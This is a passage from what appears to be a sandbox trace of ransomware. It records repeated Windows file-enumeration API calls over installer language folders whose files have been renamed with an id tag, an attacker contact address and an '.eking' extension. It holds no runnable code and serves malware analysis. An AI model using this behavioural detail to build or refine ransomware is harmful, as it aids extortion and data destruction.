cAlternateFileName="")) returned 0xb03108 [0275.302] FindNextFileW (in: hFindFile=0xb03108, lpFindFileData=0x2aef500 | out: lpFindFileData=0x2aef500*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0275.302] FindNextFileW (in: hFindFile=0xb03108, lpFindFileData=0x2aef500 | out: lpFindFileData=0x2aef500*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc5f98f09, ftCreationTime.dwHighDateTime=0x1d63feb, ftLastAccessTime.dwLowDateTime=0xc5f98f09, ftLastAccessTime.dwHighDateTime=0x1d63feb, ftLastWriteTime.dwLowDateTime=0xc5fc5d98, ftLastWriteTime.dwHighDateTime=0x1d63feb, nFileSizeHigh=0x0, nFileSizeLow=0x10c2, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf.id[B4197730-2888].[ICQ@fartwetsquirrel].eking", cAlternateFileName="EULART~1.EKI")) returned 1 [0275.302] FindNextFileW (in: hFindFile=0xb03108, lpFindFileData=0x2aef500 | out: lpFindFileData=0x2aef500*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc5fc5d98, ftCreationTime.dwHighDateTime=0x1d63feb, ftLastAccessTime.dwLowDateTime=0xc5fc5d98, ftLastAccessTime.dwHighDateTime=0x1d63feb, ftLastWriteTime.dwLowDateTime=0xc5fe681a, ftLastWriteTime.dwHighDateTime=0x1d63feb, nFileSizeHigh=0x0, nFileSizeLow=0x142d2, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml.id[B4197730-2888].[ICQ@fartwetsquirrel].eking", cAlternateFileName="LOCALI~1.EKI")) returned 1 [0275.303] FindNextFileW (in: hFindFile=0xb03108, lpFindFileData=0x2aef500 | out: lpFindFileData=0x2aef500*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc5fe681a, ftCreationTime.dwHighDateTime=0x1d63feb, ftLastAccessTime.dwLowDateTime=0xc5fe681a, ftLastAccessTime.dwHighDateTime=0x1d63feb, ftLastWriteTime.dwLowDateTime=0xc6293e9b, ftLastWriteTime.dwHighDateTime=0x1d63feb, nFileSizeHigh=0x0, nFileSizeLow=0x4862, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll.id[B4197730-2888].[ICQ@fartwetsquirrel].eking", cAlternateFileName="SETUPR~1.EKI")) returned 1 [0275.303] FindNextFileW (in: hFindFile=0xb03108, lpFindFileData=0x2aef500 | out: lpFindFileData=0x2aef500*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc5fe681a, ftCreationTime.dwHighDateTime=0x1d63feb, ftLastAccessTime.dwLowDateTime=0xc5fe681a, ftLastAccessTime.dwHighDateTime=0x1d63feb, ftLastWriteTime.dwLowDateTime=0xc6293e9b, ftLastWriteTime.dwHighDateTime=0x1d63feb, nFileSizeHigh=0x0, nFileSizeLow=0x4862, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll.id[B4197730-2888].[ICQ@fartwetsquirrel].eking", cAlternateFileName="SETUPR~1.EKI")) returned 0 [0275.303] FindClose (in: hFindFile=0xb03108 | out: hFindFile=0xb03108) returned 1 [0275.304] GetProcessHeap () returned 0xaf0000 [0275.304] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0xb53840 | out: hHeap=0xaf0000) returned 1 [0275.304] FindNextFileW (in: hFindFile=0xb02c08, lpFindFileData=0x2aef788 | out: lpFindFileData=0x2aef788*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x430054, dwReserved1=0x7e0055, cFileName="1046", cAlternateFileName="")) returned 1 [0275.304] GetProcessHeap () returned 0xaf0000 [0275.304] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x10000) returned 0xb53840 [0275.304] FindFirstFileW (in: lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1046\\*", lpFindFileData=0x2aef500 | out: lpFindFileData=0x2aef500*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0xb02c88 [0275.305] FindNextFileW (in: hFindFile=0xb02c88, lpFindFileData=0x2aef500 | out: lpFindFileData=0x2aef500*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0275.306] FindNextFileW (in: hFindFile=0xb02c88, lpFindFileData=0x2aef500 | out: lpFindFileData=0x2aef500*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc5fe681a, ftCreationTime.dwHighDateTime=0x1d63feb, ftLastAccessTime.dwLowDateTime=0xc5fe681a, ftLastAccessTime.dwHighDateTime=0x1d63feb, ftLastWriteTime.dwLowDateTime=0xc600ba3b, ftLastWriteTime.dwHighDateTime=0x1d63feb, nFileSizeHigh=0x0, nFileSizeLow=0xf62, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf.id[B4197730-2888].[ICQ@fartwetsquirrel].eking", cAlternateFileName="EULART~1.EKI")) returned 1 [0275.306] FindNextFileW (in: hFindFile=0xb02c88, lpFindFileData=0x2aef500 | out: lpFindFileData=0x2aef500*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc600ba3b, ftCreationTime.dwHighDateTime=0x1d63feb, ftLastAccessTime.dwLowDateTime=0xc600ba3b, ftLastAccessTime.dwHighDateTime=0x1d63feb, ftLastWriteTime.dwLowDateTime=0xc6031a32, ftLastWriteTime.dwHighDateTime=0x1d63feb, nFileSizeHigh=0x0, nFileSizeLow=0x13c72, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml.id[B4197730-2888].[ICQ@fartwetsquirrel].eking", cAlternateFileName="LOCALI~1.EKI")) returned 1 [0275.306] FindNextFileW (in: hFindFile=0xb02c88, lpFindFileData=0x2aef500 | out: lpFindFileData=0x2aef500*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc6031a32, ftCreationTime.dwHighDateTime=0x1d63feb, ftLastAccessTime.dwLowDateTime=0xc6031a32, ftLastAccessTime.dwHighDateTime=0x1d63feb, ftLastWriteTime.dwLowDateTime=0xc62ba110, ftLastWriteTime.dwHighDateTime=0x1d63feb, nFileSizeHigh=0x0, nFileSizeLow=0x4862, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll.id[B4197730-2888].[ICQ@fartwetsquirrel].eking", cAlternateFileName="SETUPR~1.EKI")) returned 1 [0275.306] FindNextFileW (in: hFindFile=0xb02c88, lpFindFileData=0x2aef500 | out: lpFindFileData=0x2aef500*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc6031a32, ftCreationTime.dwHighDateTime=0x1d63feb, ftLastAccessTime.dwLowDateTime=0xc6031a32, ftLastAccessTime.dwHighDateTime=0x1d63feb, ftLastWriteTime.dwLowDateTime=0xc62ba110, ftLastWriteTime.dwHighDateTime=0x1d63feb, nFileSizeHigh=0x0, nFileSizeLow=0x4862, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll.id[B4197730-2888].[ICQ@fartwetsquirrel].eking", cAlternateFileName="SETUPR~1.EKI")) returned 0 [0275.306] FindClose (in: hFindFile=0xb02c88 | out: hFindFile=0xb02c88) returned 1 [0275.307] GetProcessHeap () returned 0xaf0000 [0275.307] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0xb53840 | out: hHeap=0xaf0000) returned 1 [0275.307] FindNextFileW (in: hFindFile=0xb02c08, lpFindFileData=0x2aef788 | out: lpFindFileData=0x2aef788*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x430054, dwReserved1=0x7e0055, cFileName="1049", cAlternateFileName="")) returned 1 [0275.307] GetProcessHeap () returned 0xaf0000 [0275.307] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x10000) returned 0xb53840 [0275.307] FindFirstFileW (in: lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1049\\*", lpFindFileData=0x2aef500 | out: lpFindFileData=0x2aef500*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0xb03088 [0275.309] FindNextFileW (in: hFindFile=0xb03088, lpFindFileData=0x2aef500 | out: lpFindFileData=0x2aef500*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0275.309] FindNextFileW (in: hFindFile=0xb03088, lpFindFileData=0x2aef500 | out: lpFindFileData=0x2aef500*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc6293e9b, ftCreationTime.dwHighDateTime=0x1d63feb, ftLastAccessTime.dwLowDateTime=0xc6293e9b, ftLastAccessTime.dwHighDateTime=0x1d63feb, ftLastWriteTime.dwLowDateTime=0xc62e042f, ftLastWriteTime.dwHighDateTime=0x1d63feb, nFileSizeHigh=0x0, nFileSizeLow=0xd5b2, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf.id[B4197730-2888].[ICQ@fartwetsquirrel].eking", cAlternateFileName="EULART~1.EKI")) returned 1 [0275.309] FindNextFileW (in: hFindFile=0xb03088, lpFindFileData=0x2aef500 | out: lpFindFileData=0x2aef500*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc62ba110, ftCreationTime.dwHighDateTime=0x1d63feb, ftLastAccessTime.dwLowDateTime=0xc62ba110, ftLastAccessTime.dwHighDateTime=0x1d63feb, ftLastWriteTime.dwLowDateTime=0xc62e042f, ftLastWriteTime.dwHighDateTime=0x1d63feb, nFileSizeHigh=0x0, nFileSizeLow=0x13f52, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml.id[B4197730-2888].[ICQ@fartwetsquirrel].eking", cAlternateFileName="LOCALI~1.EKI")) returned 1 [0275.309] FindNextFileW (in: hFindFile=0xb03088, lpFindFileData=0x2aef500 | out: lpFindFileData=0x2aef500*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc62e042f, ftCreationTime.dwHighDateTime=0x1d63feb, ftLastAccessTime.dwLowDateTime=0xc62e042f, ftLastAccessTime.dwHighDateTime=0x1d63feb, ftLastWriteTime.dwLowDateTime=0xc6306685, ftLastWriteTime.dwHighDateTime=0x1d63feb, nFileSizeHigh=0x0, nFileSizeLow=0x4862, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll.id[B4197730-2888].[ICQ@fartwetsquirrel].eking", cAlternateFileName="SETUPR~1.EKI")) returned 1 [0275.309] FindNextFileW (in: hFindFile=0xb03088, lpFindFileData=0x2aef500 | out: lpFindFileData=0x2aef500*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc62e042f, ftCreationTime.dwHighDateTime=0x1d63feb, ftLastAccessTime.dwLowDateTime=0xc62e042f, ftLastAccessTime.dwHighDateTime=0x1d63feb, ftLastWriteTime.dwLowDateTime=0xc6306685, ftLastWriteTime.dwHighDateTime=0x1d63feb, nFileSizeHigh=0x0, nFileSizeLow=0x4862, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll.id[B4197730-2888].[ICQ@fartwetsquirrel].eking", cAlternateFileName="SETUPR~1.EKI")) returned 0 [0275.309] FindClose (in: hFindFile=0xb03088 | out: hFindFile=0xb03088) returned 1 [0275.310] GetProcessHeap () returned 0xaf0000 [0275.310] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0xb53840 | out: hHeap=0xaf0000) returned 1 [0275.310] FindNextFileW (in: hFindFile=0xb02c08, lpFindFileData=0x2aef788 | out: lpFindFileData=0x2aef788*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x430054, dwReserved1=0x7e0055, cFileName="1053", cAlternateFileName="")) returned 1 [0275.310] GetProcessHeap () returned 0xaf0000 [0275.310] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x10000) returned 0xb53840 [0275.310] FindFirstFileW (in: lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1053\\*", lpFindFileData=0x2aef500 | out: lpFindFileData=0x2aef500*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0xb02d48 [0275.312] FindNextFileW (in: hFindFile=0xb02d48, lpFindFileData=0x2aef500 | out: lpFindFileData=0x2aef500*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0275.312] FindNextFileW (in: hFindFile=0xb02d48, lpFindFileData=0x2aef500 | out: lpFindFileData=0x2aef500*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc6306685, ftCreationTime.dwHighDateTime=0x1d63feb, ftLastAccessTime.dwLowDateTime=0xc6306685, ftLastAccessTime.dwHighDateTime=0x1d63feb, ftLastWriteTime.dwLowDateTime=0xc632c942, ftLastWriteTime.dwHighDateTime=0x1d63feb, nFileSizeHigh=0x0, nFileSizeLow=0x1012, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf.id[B4197730-2888].[ICQ@fartwetsquirrel].eking", cAlternateFileName="EULART~1.EKI")) returned 1 [0275.312] FindNextFileW (in: hFindFile=0xb02d48, lpFindFileData=0x2aef500 | out: lpFindFileData=0x2aef500*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc632c942, ftCreationTime.dwHighDateTime=0x1d63feb, ftLastAccessTime.dwLowDateTime=0xc632c942, ftLastAccessTime.dwHighDateTime=0x1d63feb, ftLastWriteTime.dwLowDateTime=0xc6352a6d, ftLastWriteTime.dwHighDateTime=0x1d63feb, nFileSizeHigh=0x0, nFileSizeLow=0x13082, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml.id[B4197730-2888].[ICQ@fartwetsquirrel].eking", cAlternateFileName="LOCALI~1.EKI")) returned 1 [0275.312] FindNextFileW (in: hFindFile=0xb02d48, lpFindFileData=0x2aef500 | out: lpFindFileData=0x2aef500*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc632c942, ftCreationTime.dwHighDateTime=0x1d63feb, ftLastAccessTime.dwLowDateTime=0xc632c942, ftLastAccessTime.dwHighDateTime=0x1d63feb, ftLastWriteTime.dwLowDateTime=0xc75822a8, ftLastWriteTime.dwHighDateTime=0x1d63feb, nFileSizeHigh=0x0, nFileSizeLow=0x4662, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll.id[B4197730-2888].[ICQ@fartwetsquirrel].eking", cAlternateFileName="SETUPR~1.EKI")) returned 1 [0275.312] FindNextFileW (in: hFindFile=0xb02d48, lpFindFileData=0x2aef500 | out: lpFindFileData=0x2aef500*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc632c942, ftCreationTime.dwHighDateTime=0x1d63feb, ftLastAccessTime.dwLowDateTime=0xc632c942, ftLastAccessTime.dwHighDateTime=0x1d63feb, ftLastWriteTime.dwLowDateTime=0xc75822a8, ftLastWriteTime.dwHighDateTime=0x1d63feb, nFileSizeHigh=0x0, nFileSizeLow=0x4662, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll.id[B4197730-2888].[ICQ@fartwetsquirrel].eking", cAlternateFileName="SETUPR~1.EKI")) returned 0 [0275.312] FindClose (in: hFindFile=0xb02d48 | out: hFindFile=0xb02d48) returned 1 [0275.313] GetProcessHeap () returned 0xaf0000 [0275.313] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0xb53840 | out: hHeap=0xaf0000) returned 1 [0275.313] FindNextFileW (in: hFindFile=0xb02c08, lpFindFileData=0x2aef788 | out: lpFindFileData=0x2aef788*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x430054, dwReserved1=0x7e0055, cFileName="1055", cAlternateFileName="")) returned 1 [0275.314] GetProcessHeap () returned 0xaf0000 [0275.314] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x10000) returned 0xb53840 [0275.314] FindFirstFileW (in: lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1055\\*", lpFindFileData=0x2aef500 | out: lpFindFileData=0x2aef500*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0xb031c8 [0275.315] FindNextFileW (in: hFindFile=0xb031c8, lpFindFileData=0x2aef500 | out: lpFindFileData=0x2aef500*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0275.315] FindNextFileW (in: hFindFile=0xb031c8, lpFindFileData=0x2aef500 | out: lpFindFileData=0x2aef500*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc6352a6d, ftCreationTime.dwHighDateTime=0x1d63feb, ftLastAccessTime.dwLowDateTime=0xc6352a6d, ftLastAccessTime.dwHighDateTime=0x1d63feb, ftLastWriteTime.dwLowDateTime=0xc638c1df, ftLastWriteTime.dwHighDateTime=0x1d63feb, nFileSizeHigh=0x0, nFileSizeLow=0x1012, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf.id[B4197730-2888].[ICQ@fartwetsquirrel].eking", cAlternateFileName="EULART~1.EKI")) returned 1 [0275.315] FindNextFileW (in: hFindFile=0xb031c8, lpFindFileData=0x2aef500 | out: lpFindFileData=0x2aef500*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc638c1df, ftCreationTime.dwHighDateTime=0x1d63feb, ftLastAccessTime.dwLowDateTime=0xc638c1df, ftLastAccessTime.dwHighDateTime=0x1d63feb, ftLastWriteTime.dwLowDateTime=0xc75f4a59, ftLastWriteTime.dwHighDateTime=0x1d63feb, nFileSizeHigh=0x0, nFileSizeLow=0x12d22, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml.id[B4197730-2888].[ICQ@fartwetsquirrel].eking", cAlternateFileName="LOCALI~1.EKI")) returned 1 [0275.315] FindNextFileW (in: hFindFile=0xb031c8, lpFindFileData=0x2aef500 | out: lpFindFileData=0x2aef500*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc75a866a, ftCreationTime.dwHighDateTime=0x1d63feb, ftLastAccessTime.dwLowDateTime=0xc75a866a, ftLastAccessTime.dwHighDateTime=0x1d63feb, ftLastWriteTime.dwLowDateTime=0xc75a866a, ftLastWriteTime.dwHighDateTime=0x1d63feb, nFileSizeHigh=0x0, nFileSizeLow=0x4662, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll.id[B4197730-2888].[ICQ@fartwetsquirrel].eking", cAlternateFileName="SETUPR~1.EKI")) returned 1 [0275.315] FindNextFileW (in: hFindFile=0xb031c8, lpFindFileData=0x2aef500 | out: lpFindFileData=0x2aef500*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc75a866a, ftCreationTime.dwHighDateTime=0x1d63feb, ftLastAccessTime.dwLowDateTime=0xc75a866a, ftLastAccessTime.dwHighDateTime=0x1d63feb, ftLastWriteTime.dwLowDateTime=0xc75a866a, ftLastWriteTime.dwHighDateTime=0x1d63feb, nFileSizeHigh=0x0, nFileSizeLow=0x4662, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll.id[B4197730-2888].[ICQ@fartwetsquirrel].eking", cAlternateFileName="SETUPR~1.EKI")) returned 0 [0275.315] FindClose (in: hFindFile=0xb031c8 | out: hFindFile=0xb031c8) returned 1 [0275.316] GetProcessHeap () returned 0xaf0000 [0275.316] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0xb53840 | out: hHeap=0xaf0000) returned 1 [0275.317] FindNextFileW (in: hFindFile=0xb02c08, lpFindFileData=0x2aef788 | out: lpFindFileData=0x2aef788*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x430054, dwReserved1=0x7e0055, cFileName="2052", cAlternateFileName="")) returned 1 [0275.317] GetProcessHeap () returned 0xaf0000 [0275.317] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x10000) returned 0xb53840 [0275.317] FindFirstFileW (in: lpFileName="\\\\?\\C:\\588bce7c90097ed212\\2052\\*", lpFindFileData=0x2aef500 | out: lpFindFileData=0x2aef500*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0xb02c88 [0275.318] FindNextFileW (in: hFindFile=0xb02c88, lpFindFileData=0x2aef500 | out: lpFindFileData=0x2aef500*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0275.318] FindNextFileW (in: hFindFile=0xb02c88, lpFindFileData=0x2aef500 | out: lpFindFileData=0x2aef500*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc75a866a, ftCreationTime.dwHighDateTime=0x1d63feb, ftLastAccessTime.dwLowDateTime=0xc75a866a, ftLastAccessTime.dwHighDateTime=0x1d63feb, ftLastWriteTime.dwLowDateTime=0xc75ce88a, ftLastWriteTime.dwHighDateTime=0x1d63feb, nFileSizeHigh=0x0, nFileSizeLow=0x17c2, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf.id[B4197730-2888].[ICQ@fartwetsquirrel].eking", cAlternateFileName="EULART~1.EKI")) returned 1 [0275.318] FindNextFileW (in: hFindFile=0xb02c88, lpFindFileData=0x2aef500 | out: lpFindFileData=0x2aef500*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc75ce88a, ftCreationTime.dwHighDateTime=0x1d63feb, ftLastAccessTime.dwLowDateTime=0xc75ce88a, ftLastAccessTime.dwHighDateTime=0x1d63feb, ftLastWriteTime.dwLowDateTime=0xc77f3f35, ftLastWriteTime.dwHighDateTime=0x1d63feb, nFileSizeHigh=0x0, nFileSizeLow=0xee12, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml.id[B4197730-2888].[ICQ@fartwetsquirrel].eking", cAlternateFileName="LOCALI~1.EKI")) returned 1 [0275.318] FindNextFileW (in: hFindFile=0xb02c88, lpFindFileData=0x2aef500 | out: lpFindFileData=0x2aef500*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc761adcc, ftCreationTime.dwHighDateTime=0x1d63feb, ftLastAccessTime.dwLowDateTime=0xc761adcc, ftLastAccessTime.dwHighDateTime=0x1d63feb, ftLastWriteTime.dwLowDateTime=0xc761adcc, ftLastWriteTime.dwHighDateTime=0x1d63feb, nFileSizeHigh=0x0, nFileSizeLow=0x3862, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll.id[B4197730-2888].[ICQ@fartwetsquirrel].eking", cAlternateFileName="SETUPR~1.EKI")) returned 1 [0275.318] FindNextFileW (in: hFindFile=0xb02c88, lpFindFileData=0x2aef500 | out: lpFindFileData=0x2aef500*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc761adcc, ftCreationTime.dwHighDateTime=0x1d63feb, ftLastAccessTime.dwLowDateTime=0xc761adcc, ftLastAccessTime.dwHighDateTime=0x1d63feb, ftLastWriteTime.dwLowDateTime=0xc761adcc, ftLastWriteTime.dwHighDateTime=0x1d63feb, nFileSizeHigh=0x0, nFileSizeLow=0x3862, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll.id[B4197730-2888].[ICQ@fartwetsquirrel].eking", cAlternateFileName="SETUPR~1.EKI")) returned 0 [0275.318] FindClose (in: hFindFile=0xb02c88 | out: hFindFile=0xb02c88) returned 1 [0275.320] GetProcessHeap () returned 0xaf0000 [0275.320] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0xb53840 | out: hHeap=0xaf0000) returned 1 [0275.320] FindNextFileW (in: hFindFile=0xb02c08, lpFindFileData=0x2aef788 | out: lpFindFileData=0x2aef788*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, 